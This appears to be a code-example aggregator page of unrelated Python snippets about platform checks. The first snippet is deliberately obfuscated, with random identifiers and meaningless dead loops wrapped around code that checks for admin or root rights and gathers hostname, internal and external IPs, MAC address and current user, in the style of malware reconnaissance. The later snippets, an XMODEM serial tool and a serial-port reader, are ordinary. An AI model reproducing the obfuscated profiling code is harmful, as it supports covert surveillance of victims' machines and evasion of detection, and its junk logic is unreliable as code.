        if TlZacMIOQWBHRnqVVsEiICPmofJPGQaHTcdCMuhPKbSTfpMQNPOogHiiDsrGFQnr == YroqUhSDLxCvtsPggWwGJMpUcbPisetDuMpuDQHcHGohnHQnUkSvFcxkfNYnguse:
            KvgkFJymjPAkOAdbVVrAAnIgWqMnuRQPMPxxXLbuqeYJiEZaxjjRnXAHfBbowmUT = 'tyMsCBRyniwFhcTRUdvdOgnlpenGauKwyyelPyvTLINrpHkabzmSqFiweRMvGUvT'
            KvgkFJymjPAkOAdbVVrAAnIgWqMnuRQPMPxxXLbuqeYJiEZaxjjRnXAHfBbowmUT = TlZacMIOQWBHRnqVVsEiICPmofJPGQaHTcdCMuhPKbSTfpMQNPOogHiiDsrGFQnr
        else:
            KvgkFJymjPAkOAdbVVrAAnIgWqMnuRQPMPxxXLbuqeYJiEZaxjjRnXAHfBbowmUT = 'tyMsCBRyniwFhcTRUdvdOgnlpenGauKwyyelPyvTLINrpHkabzmSqFiweRMvGUvT'
            KvgkFJymjPAkOAdbVVrAAnIgWqMnuRQPMPxxXLbuqeYJiEZaxjjRnXAHfBbowmUT = 'CAoGLowJSuNRwrdVJHfSHbRJMJIPzInhXIWmvexMvNRRIQbSnjiTIkEZbNPPxUGn'
        YREuNaWVULVoCcGIiIedlhBzozSbUIQDiKIsnOldqSlNozSOjBIkZJochVBMKiAH = ctypes.windll.shell32.IsUserAnAdmin(
        ) != 0
        lmSIyxnAneOtoDCcjTBerWBbodIouSZtFOZoCLdpTmFnQWXdsqKdNiXmrZpzzGRY = 'QeYCeAUsQqKuXYyIVZuMYQEHtAMBgDLGYsrBvfAfMaqDrvJxtStfgigdXryVhoKX'
        QldeeZtxGjggLDIeRrGjXIYiwSmEWWbayLPTWfUYpyaSYTIEHuGBCvOWWExuOEYb = 'rylOcpRRQoqwTHqBzlasvYjcjtSBsVMhgQOYPZWuMotZbGRMhAURytiYYZRfvIvL'
        WjgJDtnYioTBLRKlLAbgdSrLhCnLYjWZsPKUMkmUAsxfWdIfAVrTUrAZftlbvbbh = 'xHYvwtUypVzqbGuZvdlLQBeRlYkMjshogYRxHzdGVwaiZugXmIDmehmuerEbAHrv'
        TsTAPtnbHbkXWjCkgmMcKflIsZLSVvrsKqMqvZcWAMxkslzjASigrKHtmMejOMrA = 'YVJyQTyRRmwymToRKWjqYqoXGvqdlLnkQzPNgAhyaAQZRFvOcDwakaYbLbNokRXk'
        JhQWzQLJGsOiKciqqsqdwHsfuhoZGKADSujGChMJSTOWdmWUhRPcxGATNSTJsJMH = 'TSVngKejPWgpGiaLxwMgPTtkHKqPfhyvACaYIAwVoOXSIGGBVIzDZwYmEPENblFb'
        nICDAzMTUFqeasOWWUlSZZZrJlkCDgjjZwawTFgifwgwmHsvJOirYcblgMVoZChi = 'GvtyoAnNQaTyqeCdKrccppXSbhOlYTyUDaJVjVJZrbhMqJKDysziAGmEqAiXvuJh'
        if lmSIyxnAneOtoDCcjTBerWBbodIouSZtFOZoCLdpTmFnQWXdsqKdNiXmrZpzzGRY != TsTAPtnbHbkXWjCkgmMcKflIsZLSVvrsKqMqvZcWAMxkslzjASigrKHtmMejOMrA:
            QldeeZtxGjggLDIeRrGjXIYiwSmEWWbayLPTWfUYpyaSYTIEHuGBCvOWWExuOEYb = WjgJDtnYioTBLRKlLAbgdSrLhCnLYjWZsPKUMkmUAsxfWdIfAVrTUrAZftlbvbbh
            for nICDAzMTUFqeasOWWUlSZZZrJlkCDgjjZwawTFgifwgwmHsvJOirYcblgMVoZChi in TsTAPtnbHbkXWjCkgmMcKflIsZLSVvrsKqMqvZcWAMxkslzjASigrKHtmMejOMrA:
                if nICDAzMTUFqeasOWWUlSZZZrJlkCDgjjZwawTFgifwgwmHsvJOirYcblgMVoZChi != WjgJDtnYioTBLRKlLAbgdSrLhCnLYjWZsPKUMkmUAsxfWdIfAVrTUrAZftlbvbbh:
                    QldeeZtxGjggLDIeRrGjXIYiwSmEWWbayLPTWfUYpyaSYTIEHuGBCvOWWExuOEYb = QldeeZtxGjggLDIeRrGjXIYiwSmEWWbayLPTWfUYpyaSYTIEHuGBCvOWWExuOEYb
                else:
                    JhQWzQLJGsOiKciqqsqdwHsfuhoZGKADSujGChMJSTOWdmWUhRPcxGATNSTJsJMH = lmSIyxnAneOtoDCcjTBerWBbodIouSZtFOZoCLdpTmFnQWXdsqKdNiXmrZpzzGRY
        else:
            WjgJDtnYioTBLRKlLAbgdSrLhCnLYjWZsPKUMkmUAsxfWdIfAVrTUrAZftlbvbbh = lmSIyxnAneOtoDCcjTBerWBbodIouSZtFOZoCLdpTmFnQWXdsqKdNiXmrZpzzGRY
            lmSIyxnAneOtoDCcjTBerWBbodIouSZtFOZoCLdpTmFnQWXdsqKdNiXmrZpzzGRY = JhQWzQLJGsOiKciqqsqdwHsfuhoZGKADSujGChMJSTOWdmWUhRPcxGATNSTJsJMH
            if WjgJDtnYioTBLRKlLAbgdSrLhCnLYjWZsPKUMkmUAsxfWdIfAVrTUrAZftlbvbbh == lmSIyxnAneOtoDCcjTBerWBbodIouSZtFOZoCLdpTmFnQWXdsqKdNiXmrZpzzGRY:
                for nICDAzMTUFqeasOWWUlSZZZrJlkCDgjjZwawTFgifwgwmHsvJOirYcblgMVoZChi in lmSIyxnAneOtoDCcjTBerWBbodIouSZtFOZoCLdpTmFnQWXdsqKdNiXmrZpzzGRY:
                    if nICDAzMTUFqeasOWWUlSZZZrJlkCDgjjZwawTFgifwgwmHsvJOirYcblgMVoZChi == WjgJDtnYioTBLRKlLAbgdSrLhCnLYjWZsPKUMkmUAsxfWdIfAVrTUrAZftlbvbbh:
                        WjgJDtnYioTBLRKlLAbgdSrLhCnLYjWZsPKUMkmUAsxfWdIfAVrTUrAZftlbvbbh = lmSIyxnAneOtoDCcjTBerWBbodIouSZtFOZoCLdpTmFnQWXdsqKdNiXmrZpzzGRY
                    else:
                        WjgJDtnYioTBLRKlLAbgdSrLhCnLYjWZsPKUMkmUAsxfWdIfAVrTUrAZftlbvbbh = JhQWzQLJGsOiKciqqsqdwHsfuhoZGKADSujGChMJSTOWdmWUhRPcxGATNSTJsJMH
    elif plat_type.startswith('linux') or platform.startswith('darwin'):
        qJvVGPmBrAnvzebIzcAKvpRRWZhjnltWYibIENbabmxqZydhgTlaXznaBGEKLlcl = 'FNPxPMEWOLFNamPGxYpotVOOFHeGMfykSXbmKlwmwgkFWbuiLurNMBhrHspFOiyt'
        gaBMDJhwqFMWGeKNfYXksIIBUcgORAepTyIqqaJnuFmVKlOKZjSPdkLKwGqiCabz = 'tzNGAZETUmxjYBgGdZIUpEopeevoJTXctTZNXPqcRtezJquefwyghjdvtUMEGxeH'
        YXlwhVYVrbszgwUmrNCgmLMbfOQEAFCNnlwjkrQTXoknVMndAFiRRxHwsLajsjHb = 'DSJzYWKaXqwXUhYqgQmXUwZAtQwrIBFLksxUGgOeIoZofWWghLEHoSQuSQwZxVwD'
        TnfbyUjYIrWFWJzXuASDAwemqFpbseQCNdOjfHWMmJtbRSsrvDwqkXrzvAbbUhwL = 'utcpDTvHjtxkkHiHTMoZRwIYMuStlqdYknqAlACXedzRbgWGUcwVAHbCTVkXjSdP'
        if gaBMDJhwqFMWGeKNfYXksIIBUcgORAepTyIqqaJnuFmVKlOKZjSPdkLKwGqiCabz == qJvVGPmBrAnvzebIzcAKvpRRWZhjnltWYibIENbabmxqZydhgTlaXznaBGEKLlcl:
            for qJvVGPmBrAnvzebIzcAKvpRRWZhjnltWYibIENbabmxqZydhgTlaXznaBGEKLlcl in gaBMDJhwqFMWGeKNfYXksIIBUcgORAepTyIqqaJnuFmVKlOKZjSPdkLKwGqiCabz:
                if gaBMDJhwqFMWGeKNfYXksIIBUcgORAepTyIqqaJnuFmVKlOKZjSPdkLKwGqiCabz == gaBMDJhwqFMWGeKNfYXksIIBUcgORAepTyIqqaJnuFmVKlOKZjSPdkLKwGqiCabz:
                    YXlwhVYVrbszgwUmrNCgmLMbfOQEAFCNnlwjkrQTXoknVMndAFiRRxHwsLajsjHb = 'TnfbyUjYIrWFWJzXuASDAwemqFpbseQCNdOjfHWMmJtbRSsrvDwqkXrzvAbbUhwL'
                elif YXlwhVYVrbszgwUmrNCgmLMbfOQEAFCNnlwjkrQTXoknVMndAFiRRxHwsLajsjHb == TnfbyUjYIrWFWJzXuASDAwemqFpbseQCNdOjfHWMmJtbRSsrvDwqkXrzvAbbUhwL:
                    TnfbyUjYIrWFWJzXuASDAwemqFpbseQCNdOjfHWMmJtbRSsrvDwqkXrzvAbbUhwL = qJvVGPmBrAnvzebIzcAKvpRRWZhjnltWYibIENbabmxqZydhgTlaXznaBGEKLlcl
                else:
                    qJvVGPmBrAnvzebIzcAKvpRRWZhjnltWYibIENbabmxqZydhgTlaXznaBGEKLlcl = gaBMDJhwqFMWGeKNfYXksIIBUcgORAepTyIqqaJnuFmVKlOKZjSPdkLKwGqiCabz
        elif YXlwhVYVrbszgwUmrNCgmLMbfOQEAFCNnlwjkrQTXoknVMndAFiRRxHwsLajsjHb == YXlwhVYVrbszgwUmrNCgmLMbfOQEAFCNnlwjkrQTXoknVMndAFiRRxHwsLajsjHb:
            for YXlwhVYVrbszgwUmrNCgmLMbfOQEAFCNnlwjkrQTXoknVMndAFiRRxHwsLajsjHb in gaBMDJhwqFMWGeKNfYXksIIBUcgORAepTyIqqaJnuFmVKlOKZjSPdkLKwGqiCabz:
                if TnfbyUjYIrWFWJzXuASDAwemqFpbseQCNdOjfHWMmJtbRSsrvDwqkXrzvAbbUhwL == gaBMDJhwqFMWGeKNfYXksIIBUcgORAepTyIqqaJnuFmVKlOKZjSPdkLKwGqiCabz:
                    YXlwhVYVrbszgwUmrNCgmLMbfOQEAFCNnlwjkrQTXoknVMndAFiRRxHwsLajsjHb = 'TnfbyUjYIrWFWJzXuASDAwemqFpbseQCNdOjfHWMmJtbRSsrvDwqkXrzvAbbUhwL'
                elif YXlwhVYVrbszgwUmrNCgmLMbfOQEAFCNnlwjkrQTXoknVMndAFiRRxHwsLajsjHb == TnfbyUjYIrWFWJzXuASDAwemqFpbseQCNdOjfHWMmJtbRSsrvDwqkXrzvAbbUhwL:
                    TnfbyUjYIrWFWJzXuASDAwemqFpbseQCNdOjfHWMmJtbRSsrvDwqkXrzvAbbUhwL = qJvVGPmBrAnvzebIzcAKvpRRWZhjnltWYibIENbabmxqZydhgTlaXznaBGEKLlcl
                else:
                    qJvVGPmBrAnvzebIzcAKvpRRWZhjnltWYibIENbabmxqZydhgTlaXznaBGEKLlcl = gaBMDJhwqFMWGeKNfYXksIIBUcgORAepTyIqqaJnuFmVKlOKZjSPdkLKwGqiCabz
                    for YXlwhVYVrbszgwUmrNCgmLMbfOQEAFCNnlwjkrQTXoknVMndAFiRRxHwsLajsjHb in gaBMDJhwqFMWGeKNfYXksIIBUcgORAepTyIqqaJnuFmVKlOKZjSPdkLKwGqiCabz:
                        if TnfbyUjYIrWFWJzXuASDAwemqFpbseQCNdOjfHWMmJtbRSsrvDwqkXrzvAbbUhwL == gaBMDJhwqFMWGeKNfYXksIIBUcgORAepTyIqqaJnuFmVKlOKZjSPdkLKwGqiCabz:
                            YXlwhVYVrbszgwUmrNCgmLMbfOQEAFCNnlwjkrQTXoknVMndAFiRRxHwsLajsjHb = 'TnfbyUjYIrWFWJzXuASDAwemqFpbseQCNdOjfHWMmJtbRSsrvDwqkXrzvAbbUhwL'
                        elif YXlwhVYVrbszgwUmrNCgmLMbfOQEAFCNnlwjkrQTXoknVMndAFiRRxHwsLajsjHb == TnfbyUjYIrWFWJzXuASDAwemqFpbseQCNdOjfHWMmJtbRSsrvDwqkXrzvAbbUhwL:
                            TnfbyUjYIrWFWJzXuASDAwemqFpbseQCNdOjfHWMmJtbRSsrvDwqkXrzvAbbUhwL = qJvVGPmBrAnvzebIzcAKvpRRWZhjnltWYibIENbabmxqZydhgTlaXznaBGEKLlcl
                        else:
                            qJvVGPmBrAnvzebIzcAKvpRRWZhjnltWYibIENbabmxqZydhgTlaXznaBGEKLlcl = TnfbyUjYIrWFWJzXuASDAwemqFpbseQCNdOjfHWMmJtbRSsrvDwqkXrzvAbbUhwL
        else:
            qJvVGPmBrAnvzebIzcAKvpRRWZhjnltWYibIENbabmxqZydhgTlaXznaBGEKLlcl = gaBMDJhwqFMWGeKNfYXksIIBUcgORAepTyIqqaJnuFmVKlOKZjSPdkLKwGqiCabz
        YREuNaWVULVoCcGIiIedlhBzozSbUIQDiKIsnOldqSlNozSOjBIkZJochVBMKiAH = os.getuid(
        ) == 0
        hDdNzNPavrreSIYwcGOlALZQcgLsRivJSJCncAhrnMQpXzVFfzshMYrawChyLhHJ = 'xoZQBMcndTgxwsxZwrYIlzlGoUuxGeYKaXnfdyLZswQsCvTuUNhTdPqonilbtewb'
        KoollRiRYsMmDdapYJxFgkcwotMNiksBEeujXtgmGBtzdyPMpwOxzKFmIVpiLDsA = 'WDhOcoawnNFhIoIZXMYMXeQTkIKjpMSEKAkgwiuSEsOdcppJxAycInSKfKFcmdhG'
        UTsPwqFslfUaXOotiuSUhGDyzrifABjRhNyWIUQAYIQvEmYDYTFxCbmcBTkRAeMw = 'PnJblXgcRbvTCidrdErkvRnOMxSrseixLljYrNfAqaTecZktalQnoNiStnnceHxe'
        if hDdNzNPavrreSIYwcGOlALZQcgLsRivJSJCncAhrnMQpXzVFfzshMYrawChyLhHJ == KoollRiRYsMmDdapYJxFgkcwotMNiksBEeujXtgmGBtzdyPMpwOxzKFmIVpiLDsA:
            UTsPwqFslfUaXOotiuSUhGDyzrifABjRhNyWIUQAYIQvEmYDYTFxCbmcBTkRAeMw = 'PnJblXgcRbvTCidrdErkvRnOMxSrseixLljYrNfAqaTecZktalQnoNiStnnceHxe'
            UTsPwqFslfUaXOotiuSUhGDyzrifABjRhNyWIUQAYIQvEmYDYTFxCbmcBTkRAeMw = hDdNzNPavrreSIYwcGOlALZQcgLsRivJSJCncAhrnMQpXzVFfzshMYrawChyLhHJ
        else:
            UTsPwqFslfUaXOotiuSUhGDyzrifABjRhNyWIUQAYIQvEmYDYTFxCbmcBTkRAeMw = 'PnJblXgcRbvTCidrdErkvRnOMxSrseixLljYrNfAqaTecZktalQnoNiStnnceHxe'
            UTsPwqFslfUaXOotiuSUhGDyzrifABjRhNyWIUQAYIQvEmYDYTFxCbmcBTkRAeMw = 'xoZQBMcndTgxwsxZwrYIlzlGoUuxGeYKaXnfdyLZswQsCvTuUNhTdPqonilbtewb'
    AwaJYeQvvevEFKBTbYeocorbXQJBkTJMtOvszsLjmbTOAmVyZilhhKxIUbhNjkJE = 'Yes' if YREuNaWVULVoCcGIiIedlhBzozSbUIQDiKIsnOldqSlNozSOjBIkZJochVBMKiAH else 'No'
    tsGIwUBQvqdyvzpwcMKJScAaUtiCHMmSZwUBvyyMqozjDkOKsVirndANRUOzijIO = 'qdOkGfXGsIWvbrJyjGcrQvHVpSmKglTqPeRwtsbYAQILQrMmjASeKtNhoSfiXyUP'
    qNNDRqQRmCjThbzOPxqMHDXOOmjAJtQizwBRsRAfSWIVrfrnXDUFcKCsKEHftGVq = 'iXDlbnSMZbwPFfRLHQZBccTADiEGPZbeVLzHnvkFfiNYoKWtimHJyoFtyAPtEMVP'
    eNrsEZcKGBGfyPPYehMiLdFsWwcrCOJQkvAWcANdqIIODdfNlUhysfJydUTKKZcV = 'HDBKyJMmeYLwGJpQvbsRdPldWXWtVORmZOFneEiCGJFEtmtFuptyWcKzqGuGFfxV'
    VYGJznDkZENbEPnBfJUkMtgNRrxbFNvhKxxxEXLmKozNgjiFBVViHOsAkPOaGmQz = 'stMIFFzZYcCetvUMoFnBhJTZUhPoLNinQxBQIVJulIdlOVfUvvqjMhlAqvxvduns'
    zjWXqcFcVlFCPpRcRxUnzAsnjeTlrVvCwfpewwUoplRsExRuZKyWSsbOAqRsFHKZ = 'qupMezmhZfuigRmIxNhpsrzkcxdGODJpKzQsqhBRlJsOgPVPEaqAzTtLKdcSbZrO'
    XChmHYyHSMkLzzjtxuczxsTAEyEZUaJzueHiPMjwcxieAlUMdFdJfSrJtbGDOKKq = 'KrJvFiqOPotyiKceeiCtzbqbZMSHBtvYoihPMPvpfMAaIpAwEIriZAerlGqkDvMe'
    if eNrsEZcKGBGfyPPYehMiLdFsWwcrCOJQkvAWcANdqIIODdfNlUhysfJydUTKKZcV == VYGJznDkZENbEPnBfJUkMtgNRrxbFNvhKxxxEXLmKozNgjiFBVViHOsAkPOaGmQz:
        for XChmHYyHSMkLzzjtxuczxsTAEyEZUaJzueHiPMjwcxieAlUMdFdJfSrJtbGDOKKq in zjWXqcFcVlFCPpRcRxUnzAsnjeTlrVvCwfpewwUoplRsExRuZKyWSsbOAqRsFHKZ:
            if XChmHYyHSMkLzzjtxuczxsTAEyEZUaJzueHiPMjwcxieAlUMdFdJfSrJtbGDOKKq == VYGJznDkZENbEPnBfJUkMtgNRrxbFNvhKxxxEXLmKozNgjiFBVViHOsAkPOaGmQz:
                zjWXqcFcVlFCPpRcRxUnzAsnjeTlrVvCwfpewwUoplRsExRuZKyWSsbOAqRsFHKZ = tsGIwUBQvqdyvzpwcMKJScAaUtiCHMmSZwUBvyyMqozjDkOKsVirndANRUOzijIO
            else:
                VYGJznDkZENbEPnBfJUkMtgNRrxbFNvhKxxxEXLmKozNgjiFBVViHOsAkPOaGmQz = qNNDRqQRmCjThbzOPxqMHDXOOmjAJtQizwBRsRAfSWIVrfrnXDUFcKCsKEHftGVq
    YcjCIOfyDUUlDeHtmHmZazcQVEStCyRwbJSZSXlNbcZbzKgsUYcYBvMmOIkKMleU = '''
    System Platform     - {}
    Processor           - {}
    Architecture        - {}
    Hostname            - {}
    FQDN                - {}
    Internal IP         - {}
    External IP         - {}
    MAC Address         - {}
    Current User        - {}
    Admin Access        - {}
    '''.format(
        NZsYFDKMHpUmSaGYrBcWqOFwoMZcfRMzYtbBkeijafTNyxCkpHRElHRSJUxaKiNO,
        processor, architecture,
        iMlOMeCUBBDzNILkTDhMLvJAGJYRvderdsNdRecaagDYGEfgdEiyDxOMmnqFJBTt,
        OETsJlKMCqNoRhxusurinCctmsKQTACStCkijsTscGcZUhWlfCmhsIYJXXjwWxEv,
        cwOsXijxgvcvFPWhpEAcknlYtRnhIBZOTpmcyLSUAdInbTUnqErjJIxVKoFeCMKh,
        cexOUdQPUDJlZxbuzLZYaBYExKcMEXPmdwWhOaNNcOEBPvRegqTSleeALLEpyhRi,
        APsxgfOBoBTdWJdhRGihnSCpHNnrRxFlkNkUyBNTcPyIdwyUsPcMRNdTxtaFYAyN,
        lgqWchVqcTlLxCZGqHcViwyoDiczHDCLSBTrRFRvyEzQqXDIxLudNtJGjBwOfxDX,
        AwaJYeQvvevEFKBTbYeocorbXQJBkTJMtOvszsLjmbTOAmVyZilhhKxIUbhNjkJE)
    return YcjCIOfyDUUlDeHtmHmZazcQVEStCyRwbJSZSXlNbcZbzKgsUYcYBvMmOIkKMleU
示例#48
0
def isLinux(): return platform.startswith('linux')
def isOSXBundle(): return isOSX() and (os.path.abspath('.').find('.app') != -1)
示例#49
0
def run():
    '''Run the main entry point for sending and receiving files.'''
    import argparse
    import serial
    import sys

    platform = sys.platform.lower()

    if platform.startswith('win'):
        default_port = 'COM1'
    else:
        default_port = '/dev/ttyS0'

    parser = argparse.ArgumentParser()
    parser.add_argument('-p',
                        '--port',
                        default=default_port,
                        help='serial port')
    parser.add_argument('-r',
                        '--rate',
                        default=9600,
                        type=int,
                        help='baud rate')
    parser.add_argument('-b',
                        '--bytesize',
                        default=serial.EIGHTBITS,
                        help='serial port transfer byte size')
    parser.add_argument('-P',
                        '--parity',
                        default=serial.PARITY_NONE,
                        help='serial port parity')
    parser.add_argument('-S',
                        '--stopbits',
                        default=serial.STOPBITS_ONE,
                        help='serial port stop bits')
    parser.add_argument('-m',
                        '--mode',
                        default='xmodem',
                        help='XMODEM mode (xmodem, xmodem1k)')
    parser.add_argument('-t',
                        '--timeout',
                        default=30,
                        type=int,
                        help='I/O timeout in seconds')

    subparsers = parser.add_subparsers(dest='subcommand')
    send_parser = subparsers.add_parser('send')
    send_parser.add_argument('filename',
                             nargs='?',
                             help='filename to send, empty reads from stdin')
    recv_parser = subparsers.add_parser('recv')
    recv_parser.add_argument('filename',
                             nargs='?',
                             help='filename to receive, empty sends to stdout')

    options = parser.parse_args()

    if options.subcommand == 'send':
        return _send(options.mode, options.filename, options.timeout)
    elif options.subcommand == 'recv':
        return _recv(options.mode, options.filename, options.timeout)
示例#50
0
            result.append(port)
        except (OSError, serial.SerialException):
            pass
    return result
	
	
result = serial_ports()
platform =platform.system()
print platform


if not result:
	print"No Serialports available"
	print"Press Ctrl+C to close"
else:
	if platform.startswith('Win'):
		print"Available Serialports"
		print result
		var=input("Please select your Serialport:COM")
		var2='COM'+str(var)
		print"Connecting to "+var2
		ser= serial.Serial(var2,9600,timeout=1)
		time.sleep(2)
		print"Connected"
		print"Press Ctrl+C to close"
		while 1:
			
			print "Getting Data"
			ser.write("t")
			x=ser.read(10)
			print x